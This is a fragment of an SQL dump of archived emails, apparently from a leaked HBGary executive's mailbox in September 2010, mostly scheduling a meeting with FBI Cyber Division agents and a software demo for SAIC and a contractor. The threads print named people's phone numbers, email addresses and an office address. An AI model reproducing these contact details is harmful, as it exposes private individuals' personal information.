}\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1279,'aaron_hbgary_com/1279.html'),(11751,'2010-09-15','\"Mary Sullivan via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297008813.M729099P14101Q6607.eml','\"Aaron Barr\" <aaron@hbgary.com>','Mary Sullivan has forwarded you A Marlow\'s profile','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n    \r\n      Aaron,\r\n\r\nHere is the profile of the woman whose email I forwarded you. I think she\'s more crime forensics than malware, but interesting all the same.\r\n\r\n\r\n\r\n-Mary\r\n    \r\n        \r\n      \r\n        LinkedIn Profiles\r\n        \r\n            \r\n              &#8226;\r\n              View profile on LinkedIn\r\n            \r\n            \r\n              &#8226;\r\n              Forward this profile\r\n            \r\n            \r\n              &#8226;\r\n              Reply to Mary Sullivan\r\n            \r\n          \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n      P.S. If you cannot view the link, paste this into your browser:\r\n      http://www.linkedin.com/e/-nennfn-ge4571ze-1j/74GQgvacGxZR3E5O7EOQw5Eauzi/blk/I12078247_20/3sQczwTc38NbQtTsn4LcjgRcPkNd3cLrCBMbOYWrSlI/pin/\r\n  This email was sent to you by Mary Sullivan (mary.sullivan@fidelissecurity.com) through LinkedIn because you and Mary Sullivan are connected or they entered your email address.\r\n  If you wish to change how you receive future profile notifications, please click here.\r\n  If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',13285,'aaron_hbgary_com/13285.html'),(11752,'2010-09-15','\"Jones, William A. IV\" <William.Jones3@ic.fbi.gov>','/aaron@hbgary.com/new/1297008813.M76422P14101Q6604.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: HB Gary Presentation','Chris,\r\nAny word on an address for tomorrow?\r\n\r\nThanks\r\nBill\r\n\r\n----- Original Message -----\r\nFrom: Geary, Christopher A.\r\nTo: Aaron Barr \r\nCc: Delecki, Zachary; Jones, William A. IV\r\nSent: Tue Sep 14 13:44:12 2010\nSubject: RE: HB Gary Presentation\r\n\r\nAaron,\r\n\r\nI just wanted to make sure that we are still on for tomorrow.  Also, can you provide the address that we will meet you at?   Thanks,\r\n\r\nChris\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 2:15 PM\r\nTo: Geary, Christopher A.\r\nCc: Delecki, Zachary; Jones, William A. IV\r\nSubject: Re: HB Gary Presentation\r\n\r\nYes.  Look forward to it.  I will send out the meeting notice.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Listed below are the attendees from Cyber Division HQ:\r\n>\r\n> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>\r\n>\r\n> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 12:59 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> That will be fine.  Would you like me to send out a meeting notice?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> is this for next Wed? or another day?\r\n>> Aaron\r\n>>\r\n>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Geary, Christopher A.\r\n>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>> other locations that might be closer to you.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>>\r\n>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Chris,\r\n>>>>\r\n>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>> ________________________________________\r\n>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Hi Chris,\r\n>>>>>\r\n>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>\r\n>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>\r\n>>>>>> Thank You,\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>\r\n>>>>\r\n>>\r\n',4614,'aaron_hbgary_com/4614.html'),(11753,'2010-09-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008813.M941335P14101Q6608.eml','\"Jones, William A. IV\" <William.Jones3@ic.fbi.gov>,\"Jones, William A. IV\" <William.Jones3@ic.fbi.gov>,','Re: HB Gary Presentation','Sorry all.  Looks like my calendar invite didn\'t go through.\r\n\r\nAddress is:\r\n2010 Corporate Ridge; McLean; Suite # 700; United States; Virginia 22102\r\n\r\nSee you this afternoon.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 15, 2010, at 6:22 AM, \"Jones, William A. IV\"\r\n wrote:\r\n\r\n> Chris,\r\n> Any word on an address for tomorrow?\r\n>\r\n> Thanks\r\n> Bill\r\n>\r\n> ----- Original Message -----\r\n> From: Geary, Christopher A.\r\n> To: Aaron Barr \r\n> Cc: Delecki, Zachary; Jones, William A. IV\r\n> Sent: Tue Sep 14 13:44:12 2010\r\n> Subject: RE: HB Gary Presentation\r\n>\r\n> Aaron,\r\n>\r\n> I just wanted to make sure that we are still on for tomorrow.  Also, can you provide the address that we will meet you at?   Thanks,\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Thursday, September 09, 2010 2:15 PM\r\n> To: Geary, Christopher A.\r\n> Cc: Delecki, Zachary; Jones, William A. IV\r\n> Subject: Re: HB Gary Presentation\r\n>\r\n> Yes.  Look forward to it.  I will send out the meeting notice.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Listed below are the attendees from Cyber Division HQ:\r\n>>\r\n>> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n>> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n>> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>>\r\n>>\r\n>> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Wednesday, September 08, 2010 12:59 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> That will be fine.  Would you like me to send out a meeting notice?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> is this for next Wed? or another day?\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>>\r\n>>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>> ----- Original Message -----\r\n>>>> From: Aaron Barr \r\n>>>> To: Geary, Christopher A.\r\n>>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>>> other locations that might be closer to you.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPhone\r\n>>>>\r\n>>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>>  wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>>\r\n>>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>> ________________________________________\r\n>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Chris,\r\n>>>>>\r\n>>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>>\r\n>>>>>> Thanks,\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>> ________________________________________\r\n>>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>>> To: Geary, Christopher A.\r\n>>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>>\r\n>>>>>> Hi Chris,\r\n>>>>>>\r\n>>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>>\r\n>>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>>\r\n>>>>>>> Thank You,\r\n>>>>>>>\r\n>>>>>>> Chris\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> SSA Christopher A. Geary\r\n>>>>>>> CERT/CC Liaison\r\n>>>>>>> 3238 CIC\r\n>>>>>>> Pittsburgh, PA 15213\r\n>>>>>>>\r\n>>>>>>> (412) 268-9244\r\n>>>>>>\r\n>>>>>\r\n>>>\r\n',3077,'aaron_hbgary_com/3077.html'),(11754,'2010-09-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008814.M165142P14101Q6609.eml','nolan@informationsecuritysolutionsllc.com,\"David C. McGuffey\" <DAVID.C.MCGUFFEY@saic.com>,\"Rich Cummings\" <rich@hbgary.com>,nolan@informationsecuritysolutionsllc.com,\"David C. McGuffey\" <DAVID.C.MCGUFFEY@saic.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s reschedule.&nbsp; Let me find out from Ted when TMC will be\r\nready to demo.&nbsp; He is in CO so I haven&#8217;t reached him yet this morning.&nbsp; I will\r\nget back with you soon with an update so we can pick a new date.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Wednesday, September 15, 2010 12:05 AM\r\nTo: Bob Slapnik; David C. McGuffey; Rich Cummings\r\nCc: Blake Darche; Ted Vera; Aaron Barr\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo worries Bob, we can reschedule. This is a super busy week\r\nfor us on the program anyway.\r\n\r\nThanks,\r\nNolan\r\n\r\n703-945-7480 Sent via BlackBerry by AT&amp;T\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Wed, 15 Sep 2010 00:03:21 -0400\r\n\r\n\r\n\r\n\r\n\r\nTo: &lt;nolan@informationsecuritysolutionsllc.com&gt;;\r\n\'McGuffey, David C.\'&lt;DAVID.C.MCGUFFEY@saic.com&gt;; \'Rich\r\nCummings\'&lt;rich@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: \'Blake Darche\'&lt;blake.darche@informationsecuritysolutionsllc.com&gt;;\r\n\'Ted Vera\'&lt;ted@hbgary.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: RE: Social Media, Exploitation, and\r\nPersistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nThanks for the reminder.&nbsp; I&#8217;ve been immersed in proposal\r\nwriting since Sunday morning and my mind has been preoccupied.&nbsp; I had\r\nlined up Ted Vera to do the demo via webex because I wanted him to show you the\r\nnew Threat Management Center.&nbsp; As of last Wednesday they were still\r\ntweaking TMC and weren&#8217;t sure if they would have it ready by this\r\nWednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp;\r\nIf all you want to see is Active Defense, Digital DNA and Responder, then I can\r\nask Rich or Ted to do the demo.&nbsp; Let&#8217;s touch base Wednesday morning to see\r\nif we are still on.&nbsp; My apology for being distracted.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Tuesday, September 14, 2010 10:37 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAre we still on for tomorrow at 10 or should we reschedule?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]\r\n\r\nSent: Tuesday, September 07, 2010 4:01 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nWe would do the demo here in the same room most likely. That\r\ndate and time works fine for me, thanks.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, September 07, 2010 2:01 PM\r\nTo: \'McGuffey, David C.\'; nolan@informationsecuritysolutionsllc.com;\r\n\'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan and David,\r\n\r\n&nbsp;\r\n\r\nHow about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the\r\nSAIC office or onsite at Fort Meade?&nbsp; Odds are pretty good that we will be\r\nable to include a demo of the Threat Management Center which is the ability to\r\nautomatically analyze large numbers of binaries.&nbsp; If we demo TMC it would\r\nneed to be via webex as our guys working on TMC are in Colorado.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com] \r\nSent: Tuesday, September 07, 2010 8:22 AM\r\nTo: nolan@informationsecuritysolutionsllc.com; Bob Slapnik; Rich\r\nCummings\r\nCc: McGuffey, David C.; Blake Darche\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSame here.&nbsp; I&#8217;m off Friday to take 50 of our church youth\r\n(and 10 adults) on a beach camping trip to Assateague Is. this coming\r\nweekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th,\r\nso Tue, Thu, Fri would be best.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n410-872-4051 (w)\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Monday, September 06, 2010 19:23\r\nTo: \'Bob Slapnik\'; McGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWeek of 9/13 is much better for me&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 02, 2010 11:16 PM\r\nTo: nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\';\r\n\'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nSorry, can&#8217;t do 9/9.&nbsp; Here are some days/times that work&#8230;&#8230;.\r\n\r\n9/7, 10 am or later\r\n\r\n9/10\r\n\r\nWeek of 9/13 is open\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Thursday, September 02, 2010 9:26 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does next Thursday the 9th work for everyone?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 02, 2010 3:34 PM\r\nTo: nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\';\r\n\'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan, David, and Blake,\r\n\r\n&nbsp;\r\n\r\nWe welcome the opportunity to deploy our software in Government\r\nspaces.&nbsp; Prior to deploying we would like to get more clear on what\r\ncapabilities they need and which of our software products best fit the\r\nneeds.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and\r\nyour Gov&#8217;t customer to match up needs and capabilities?\r\n\r\n&nbsp;\r\n\r\nThe schedules for Rich and myself are remarkably open over the\r\nnext few weeks.&nbsp; Please suggest a couple of days/times that work for you\r\nto get together.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Thursday, September 02, 2010 2:14 PM\r\nTo: \'McGuffey, David C.\'; \'Blake Darche\'; Rich Cummings; Bob Slapnik\r\nSubject: RE: Social Media, Exploitation, 